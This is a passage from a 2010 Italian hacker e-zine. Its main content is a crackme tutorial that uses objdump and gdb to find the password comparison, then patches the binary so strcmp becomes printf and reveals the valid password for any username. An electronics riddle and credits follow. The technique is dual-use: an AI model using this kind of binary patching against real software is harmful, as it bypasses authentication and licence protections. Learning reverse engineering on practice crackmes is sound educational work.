 804859d:       83 c0 04                add    $0x4,%eax
 80485a0:       8b 00                   mov    (%eax),%eax
 80485a2:       89 04 24                mov    %eax,(%esp)
 80485a5:       e8 0a ff ff ff          call   80484b4 <crypt>
 80485aa:       8b 55 0c                mov    0xc(%ebp),%edx
 80485ad:       83 c2 08                add    $0x8,%edx
 80485b0:       8b 12                   mov    (%edx),%edx
 80485b2:       89 44 24 04             mov    %eax,0x4(%esp)
 80485b6:       89 14 24                mov    %edx,(%esp)
 80485b9:       e8 2e fe ff ff          call   80483ec <strcmp@plt>
 80485be:       85 c0                   test   %eax,%eax
 80485c0:       75 0e                   jne    80485d0 <main+0x62>
 80485c2:       c7 04 24 d1 86 04 08    movl   $0x80486d1,(%esp)
 80485c9:       e8 0e fe ff ff          call   80483dc <puts@plt>
 80485ce:       eb 0c                   jmp    80485dc <main+0x6e>
 80485d0:       c7 04 24 e7 86 04 08    movl   $0x80486e7,(%esp)
 80485d7:       e8 00 fe ff ff          call   80483dc <puts@plt>
 80485dc:       b8 00 00 00 00          mov    $0x0,%eax
 80485e1:       c9                      leave  
 80485e2:       c3                      ret    
 80485e3:       90                      nop
 80485e4:       90                      nop
 80485e5:       90                      nop
 80485e6:       90                      nop
 80485e7:       90                      nop
 80485e8:       90                      nop
 80485e9:       90                      nop
 80485ea:       90                      nop
 80485eb:       90                      nop
 80485ec:       90                      nop
 80485ed:       90                      nop
 80485ee:       90                      nop
 80485ef:       90                      nop
[output tagliato]
darkjoker@localhost:~/rev$

Ottimo, vediamo che strcmp viene chiamata all'indirizzo 0x080485b9, apriamo
gdb, mettiamo un breakpoint prima della chiamata, quindi andiamo a vedere quali
sono gli argomenti passati alla funzione strcmp () (che saranno le due stringhe
da confrontare, una è quella che avremo messo noi, l'altra sarà la password
generata dal programma).

darkjoker@localhost:~/rev$ gdb -q a
Reading symbols from /home/darkjoker/rev/a..(no debugging symbols found)..done.
(gdb) b *0x80485b9
Breakpoint 1 at 0x80485b9
(gdb) r darkjoker passwd
Starting program: /home/darkjoker/rev/a darkjoker passwd

Breakpoint 1, 0x080485b9 in main ()
(gdb) x/2xw $esp
0xbffff3b0:     0xbffff611      0x0804b008
(gdb) x/s 0xbffff611
0xbffff611:      "passwd"
(gdb) x/s 0x0804b008
0x804b008:       "hi~{~((&7"
(gdb) 

A questo punto abbiamo la password crittata che viene accettata insieme all'
username "darkjoker", ma possiamo fare di meglio :).
Vediamo che viene prima passato "pass" e poi "hi~{~((&7", quindi siamo a
cavallo, nel senso che se prima viene passata la stringa da noi inserita e poi
quella generata possiamo utilizzare il programma come un generatore di
password.

Ora dobbiamo solo andarci a cercare a quale indirizzo si trova la funzione
printf:

darkjoker@localhost:~/rev$ objdump -D a | grep printf
080483bc <printf@plt>:
 804858e:       e8 29 fe ff ff          call   80483bc <printf@plt>
darkjoker@localhost:~/rev$ 

Ottimo, 0x0080483bc.
Per chi non lo avesse capito, andremo a sostituire la funzione strcmp () con
printf (). Passando come password una stringa di formato relativa alla stringa
("%s") andremo a cambiare la funzione strcmp ("%s","password_generata) in
printf ("%s","password_generata"), in questo modo potremo visualizzare la
password relativa a qualunque username.

Ora, bisogna sapere come funziona la chiamata call. L'argomento che riceve è il
numero di byte che deve saltare per andare alla funzione. Nel nostro caso il
numero di byte è negativo (in quanto printf () si trova prima di main ()),
dovremo quindi passare un numero negativo.
Andando a vedere la call printf che avviene prima (quella per visualizzare il
messaggio d'errore nel caso in cui gli argomenti siano insufficienti) vedremo
appunto che è:

 804858e:       e8 29 fe ff ff          call   80483bc <printf@plt>

Il numero di byte da saltare è 0xfffffe29.. Vediamo che numero è:

#include <stdio.h>

int main () {
  printf ("%d\n",0xfffffe29);
  return 0;
}

darkjoker@localhost:~/rev$ gcc -o b b.c
darkjoker@localhost:~/rev$ ./b
-471
darkjoker@localhost:~/rev$

(potevamo anche usare una banale calcolatrice, ma così fa mooolto più figo 8D )

Bene, per essere sicuri che -471 non sia un numero a caso ma effettivamente il
numero di byte che distanzia il punto in cui viene chiamata la printf a quello
dove si trova la printf facciamo una semplice sottrazione:

#include <stdio.h>

int main () {
  printf ("%d\n",0x0804858e +5-0x080483bc);
  return 0;
}

(facciamo indirizzo_call+5-indirizzo_printf per sapere quanti byte ci sono di
differenza.
Il +5 è dovuto al fatto che all'indirizzo in cui c'è la call vanno aggiunti i
5 byte dalla call stessa (e8 29 fe ff ff))

darkjoker@localhost:~/rev$ gcc -o b b.c                                                                                                                                                                   
darkjoker@localhost:~/rev$ ./b                                                                                                                                                                            
471                                                                                                                                                                                                       
darkjoker@localhost:~/rev$   

(Ovviamente è la stessa storia di prima, si faceva più in fretta a usare una
calcolatrice, ma siamo programmatori cazzuti, anche per due conti semplici
dobbiamo fare sfoggio delle nostre conoscenze xD).

Il risultato, vediamo, è sempre 471. Il segno cambia solo per via dell'ordine
con cui abbiamo eseguito l'operazione.
Nel programma è negativo perchè deve tornare indietro di quel numero di byte.

Ora, dopo questo spiegone assurdo, sarete felici di sapere che quest'ultima
parte non ci servirà a nulla, visto che ho implementato all'interno di revtool
( http://darkjoker.byethost9.com/source/revtool.h.txt ) una funzione apposita
per sostituire una funzione con un altra, eseguendo il calcolo automaticamente.
Sapere come funziona però fa sempre bene, quindi una spiegata veloce ve l'ho
data ;)

Ora creiamo il nostro source che andrà a modificare i byte necessari per
sostituire la funzione strcmp () con printf ():

#include <revtool.h>

int main () {
        replace_func ("a", 0x080485b9, 0x080483bc);
        return 0;
}

darkjoker@localhost:~/rev$ gcc -o b b.c

Prima di eseguire il programma, però, facciamo una copia del crackme, in quanto
l'originale verrà modificato e non potrà essere più usato per accettare le
password.

darkjoker@localhost:~/rev$ cp a working_cm
darkjoker@localhost:~/rev$ ./b
darkjoker@localhost:~/rev$ 


Ok, ora avviamo il nostro crackme, passando come username il nome che vogliamo
usare, e come password la stringa di formato "%s ":

darkjoker@localhost:~/rev$ ./a darkjoker "%s "
hi~{~((&7 Password sbagliata :(

Bene, ci viene stampata la password ;)
Usiamola ora con working_cm:


darkjoker@localhost:~/rev$ ./working_cm darkjoker "hi~{~((&7"
Password corretta ;)!
darkjoker@localhost:~/rev$ 

Con questo è tutto direi.. Alla prossima ;)


darkjoker
http://darkjoker.byethost9.com


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


******************
* 0x08 :: Riddle *
******************

Letto in ritardo, e mi scuso:

Vincitore del riddle scorso, black!

Il riddle aveva piu' di una soluzione, come ogni comune lingua parlata dagli 
umani. Possibile risposta: Ti ringrazio per non aver ucciso il capitano Kirk.

Grande black!

Ora, visto che siamo in ambiente di Display 7 Segmenti, PIC e computer 
autocostruiti, tentiamo un nuovo riddle:

Premettiamo che ho un PIC e collego sulla PORTB un display a 7 Segmenti:

B0  B1  B2  B3  B4  B5  B6  B7
 a   b   c   d   e   f   g   p


Livello Base:
Scrivendo su PORTB questa sequenza di bytes (appena arrivati all'ultimo byte, si
reincomincia dal primo) si ottiene un gioco ottico:
0x01,0x40,0x02,0x40   (esattamente accende a,g,d,g)
Saresti capace di crearne altri?

Livello Intermedio:
Se invio su PORTB i seguenti bytes, cosa mi esce scritto sul display?
0x38,0x3f,0x38,0x00,0x74,0x06,0x78,0x54,0x3f,0x78,0x79

Livello Avanzato:
Saresti capace di scrivere un programma che dato in input un testo da scrivere
(più lettere possibili, anche se non tutte obbligatoriamente), restituisce
la sequenza di byte da inviare?


Inviateci le soluzioni a mailhitnote@gmail.com

I nomi/nick/siti web personali dei vincitori verranno pubblicati 
sul prossimo numero.


r0b0t82


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


**************************
* 0x09 :: Ringraziamenti *
**************************


Per questo numero si ringrazia, in ordine alfabetico:
baba, dany15gni, darkjoker, d0ct0r, link89, 
Piston Churchell, r0b0t82, tok_tok, turbocotoletta

La ezine HITNOTE è a cura dello staff di Unofficial HJ Forum:
http://unofficialhj.gotdns.org

Il sito ufficiale di HITNOTE è:
http://hitnote.gotdns.org

Insultateci, criticateci, inviateci tutto quel che vi passa per la testa a:
mailhitnote@gmail.com

Il canale IRC su cui ci incontriamo è:
#hj @ unofficialhj.gotdns.org:6667 [6697 via SSL]


HITNOTE 0x03 [October 2010] -- Released under Creative Commons